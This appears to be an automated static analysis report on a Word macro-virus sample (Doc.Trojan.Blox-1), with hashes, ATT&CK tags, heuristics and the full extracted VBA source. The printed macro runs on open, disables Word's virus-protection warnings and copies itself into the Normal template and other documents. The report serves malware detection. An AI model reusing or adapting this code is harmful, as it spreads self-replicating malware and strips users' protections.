Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48206495cf8a69c9…

MALICIOUS

Office (OLE)

33.0 KB Created: 2002-04-16 19:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6654cb8e1612a083cffa4dc687101cb5 SHA-1: af12acf1775eb711e3a969fe6e6e7923f9819632 SHA-256: 48206495cf8a69c9d9e8f5afa7507c8c3f7868ef50f9d5ced936305e5d130ef9
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, including an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The ClamAV detection 'Doc.Trojan.Blox-1' and the presence of macros strongly suggest malicious intent. The macro attempts to disable security features and execute further actions, indicated by the 'BigBloha' subroutine.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False    ' True if Word displays a built-in warning message whenever you open a document or template that might contain macro viruses.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5287 bytes
SHA-256: bd8ce2ad60fb5f4171ef6a3c665b6a8e5bc28d9f3982b6d19e2da2e2418b8573
Detection
ClamAV: Doc.Trojan.Blox-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Блоха"
'Sub Crypt()
'    Dim M$(2)
'    A$ = "Auto"
'    O$ = "Open"
'    M$(0) = A$ + O$
'End Sub
Sub AutoOpen()
'Sub AO()
    'Result = MsgBox("Блоха", vbOKOnly)
    Call BigBloha
End Sub

Sub ViewVBCode() ' Теперь редактор VB перестанет запускаться ;)))
    'Dialogs(wdDialogToolsMacro).Show '.Display
End Sub

Sub ToolsOptions() ' Теперь юзер не сможет поменять настройки редактора ;)))
End Sub

Sub BigBloha()

    ' Отключаем различные предупредительные сообщения, изменяя установки редактора Word
    With Options
        .ConfirmConversions = False ' True if Word displays the "Convert File" dialog box before it opens or inserts a file that isn't a Word document or template.
        .VirusProtection = False    ' True if Word displays a built-in warning message whenever you open a document or template that might contain macro viruses.
        .SaveNormalPrompt = False   ' True if Word prompts the user for confirmation to save changes to the Normal template before it quits.
    End With

    On Error Resume Next ' Включаем внутреннию обработку ошибок
    ' возникновение ошибки выполнения приводит к передаче управления на инструкцию, непосредственно следующую за инструкцией, при выполнении которой возникла ошибка.


    Set cntnr = MacroContainer
    motherName = UCase(cntnr.Name) ' Имя док-та, из которого запущен макрос
    experemental = UCase(MacroContainer.Name)
    
    targetName = UCase(ActiveDocument.Name) ' Имя активного в данный момент док-та
    
    ' Находим полное имя цели:
    If motherName = targetName Then ' => Мы запущены из левого док-та
        TargetFullName = NormalTemplate.FullName ' цель: Нормальный шаблон
        MotherFullName = ActiveDocument.FullName ' источник: Активный док-т
        'Копируем себя (весь файл целиком)в директорию с normal.dot:
        ActiveDocument.SaveAs FileName:=NormalTemplate.Path + "\template.doc" ', FileFormat:=wdFormatText, WritePassword:="pass" '2 способ CopyFile
        ActiveDocument.SaveAs FileName:=MotherFullName 'Восстанавливаем имя файла
        f0 = 0
    Else                            ' => Мы запущены из шаблона (normal.dot наверняка)
        TargetFullName = ActiveDocument.FullName ' цель: Активный док-т
        'MotherFullName = NormalTemplate.FullName ' источник
        MotherFullName = NormalTemplate.Path + "\template.doc"
        f0 = 1
    End If
    
'******************************************************************************
'******************************************************************************
    'Копируем  макрос (Object:=wdOrganizerObjectProjectItems) в документ Destination:=two$ из док-та Source:=one$
    Application.OrganizerCopy _
          Source:=MotherFullName, _
          Destination:=TargetFullName, _
          Name:="Блоха", _
          Object:=wdOrganizerObjectProjectItems    'признак того, что будем копировать макрос
'******************************************************************************
'******************************************************************************
  
    'Сохраняем изменения в жертве:
    'If f0 = 0 Then NormalTemplate.Save Else ActiveDocument.Save
    If f0 = 1 Then ActiveDocument.Save
    
    
'******* Заполняем инфу о текущем док-те (автор,тема,заметки и т.д)
    With Dialogs(wdDialogFileSummaryInfo) ' Подготавливаем стандартную диалоговую форму wdDialogFileSummaryInfo
        .Author = "Andy"
        .Title = "Infected Document"
        .Subject = "Macro Virus Infection by Andy"
        .Comments = "Hello from Andy !"
        .Execute 'Включаем все эти установки ;)
    End With
'*******
    
'******* Защищаем текущий док-т от юзера ;)
With ActiveDocument
    ''.ReadOnlyRecommended = False ' Разрешаем изменения этого (активного) док-та
    ''.Password = ""               'и ставим пароль на открытие док-та
    ''.WritePassword = ""          ' Пароль от сохранения изменений в док-те
End With
'*******


On Error GoTo -1: On Error GoTo 0 ' Отключение обработки ошибки
    

End Sub